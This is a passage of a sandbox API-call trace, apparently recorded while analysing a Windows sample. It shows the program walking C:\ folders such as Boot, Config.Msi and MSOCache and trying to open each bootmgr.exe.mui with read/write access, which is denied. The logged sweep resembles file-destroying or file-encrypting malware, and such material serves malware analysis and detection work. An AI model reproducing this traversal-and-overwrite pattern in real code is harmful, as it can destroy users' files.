lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.988] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0144.988] GetProcessHeap () returned 0x990000 [0144.988] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x22e) returned 0x9dfcc0 [0144.988] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0144.989] GetLastError () returned 0x5 [0144.989] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0144.989] FindClose (in: hFindFile=0x9b6568 | out: hFindFile=0x9b6568) returned 1 [0144.990] GetProcessHeap () returned 0x990000 [0144.990] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dfcc0 | out: hHeap=0x990000) returned 1 [0144.990] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0144.990] GetProcessHeap () returned 0x990000 [0144.990] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2c) returned 0x9b4db8 [0144.990] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*.*", lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6568 [0144.990] GetProcessHeap () returned 0x990000 [0144.990] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0144.990] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.990] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0144.990] GetProcessHeap () returned 0x990000 [0144.990] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x22e) returned 0x9dfcc0 [0144.990] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0144.991] GetLastError () returned 0x5 [0144.991] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0144.991] FindClose (in: hFindFile=0x9b6568 | out: hFindFile=0x9b6568) returned 1 [0144.991] GetProcessHeap () returned 0x990000 [0144.991] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dfcc0 | out: hHeap=0x990000) returned 1 [0144.991] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0144.991] GetProcessHeap () returned 0x990000 [0144.991] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2c) returned 0x9b4db8 [0144.991] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*.*", lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6568 [0144.991] GetProcessHeap () returned 0x990000 [0144.991] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0144.991] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.991] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0144.991] GetProcessHeap () returned 0x990000 [0144.991] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x22e) returned 0x9dfcc0 [0144.991] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0144.992] GetLastError () returned 0x5 [0144.992] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0144.992] FindClose (in: hFindFile=0x9b6568 | out: hFindFile=0x9b6568) returned 1 [0144.993] GetProcessHeap () returned 0x990000 [0144.993] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dfcc0 | out: hHeap=0x990000) returned 1 [0144.993] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0144.993] GetProcessHeap () returned 0x990000 [0144.993] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2c) returned 0x9b4db8 [0144.993] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*.*", lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6568 [0144.993] GetProcessHeap () returned 0x990000 [0144.993] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0144.993] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.993] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0144.993] GetProcessHeap () returned 0x990000 [0144.993] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x22e) returned 0x9dfcc0 [0144.993] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0144.994] GetLastError () returned 0x5 [0144.994] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0144.994] FindClose (in: hFindFile=0x9b6568 | out: hFindFile=0x9b6568) returned 1 [0144.994] GetProcessHeap () returned 0x990000 [0144.994] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dfcc0 | out: hHeap=0x990000) returned 1 [0144.994] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0144.994] GetProcessHeap () returned 0x990000 [0144.994] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2c) returned 0x9b4db8 [0144.994] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*.*", lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6568 [0144.994] GetProcessHeap () returned 0x990000 [0144.994] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0144.994] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.994] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0144.994] GetProcessHeap () returned 0x990000 [0144.994] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x22e) returned 0x9dfcc0 [0144.995] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0144.995] GetLastError () returned 0x5 [0144.995] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0144.995] FindClose (in: hFindFile=0x9b6568 | out: hFindFile=0x9b6568) returned 1 [0144.995] GetProcessHeap () returned 0x990000 [0144.995] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dfcc0 | out: hHeap=0x990000) returned 1 [0144.995] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0144.995] FindClose (in: hFindFile=0x9b65a8 | out: hFindFile=0x9b65a8) returned 1 [0144.995] GetProcessHeap () returned 0x990000 [0144.995] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0144.995] FindNextFileW (in: hFindFile=0x9b65e8, lpFindFileData=0x29dfd20 | out: lpFindFileData=0x29dfd20*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0xffff, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0144.995] FindNextFileW (in: hFindFile=0x9b65e8, lpFindFileData=0x29dfd20 | out: lpFindFileData=0x29dfd20*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0xffff, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0144.995] FindNextFileW (in: hFindFile=0x9b65e8, lpFindFileData=0x29dfd20 | out: lpFindFileData=0x29dfd20*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xffff, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0144.995] GetProcessHeap () returned 0x990000 [0144.995] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2c) returned 0x9b4db8 [0144.995] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*.*", lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x9b65a8 [0144.996] GetProcessHeap () returned 0x990000 [0144.996] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0144.996] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0144.996] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 0 [0144.996] FindClose (in: hFindFile=0x9b65a8 | out: hFindFile=0x9b65a8) returned 1 [0144.996] GetProcessHeap () returned 0x990000 [0144.996] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x990000) returned 1 [0144.996] FindNextFileW (in: hFindFile=0x9b65e8, lpFindFileData=0x29dfd20 | out: lpFindFileData=0x29dfd20*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffff, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0144.996] GetProcessHeap () returned 0x990000 [0144.996] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x44) returned 0x9b0ae0 [0144.996] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*.*", lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 0xffffffff [0144.998] GetProcessHeap () returned 0x990000 [0144.998] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0ae0 | out: hHeap=0x990000) returned 1 [0144.998] GetLastError () returned 0x5 [0144.998] FindNextFileW (in: hFindFile=0x9b65e8, lpFindFileData=0x29dfd20 | out: lpFindFileData=0x29dfd20*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xae99ef60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0xffff, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0144.998] FindNextFileW (in: hFindFile=0x9b65e8, lpFindFileData=0x29dfd20 | out: lpFindFileData=0x29dfd20*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffff, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0144.998] GetProcessHeap () returned 0x990000 [0144.998] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x28) returned 0x9b85d0 [0144.998] FindFirstFileW (in: lpFileName="C:\\MSOCache\\*.*", lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x9b65a8 [0144.998] GetProcessHeap () returned 0x990000 [0144.998] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b85d0 | out: hHeap=0x990000) returned 1 [0144.998] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0144.998] FindNextFileW (in: 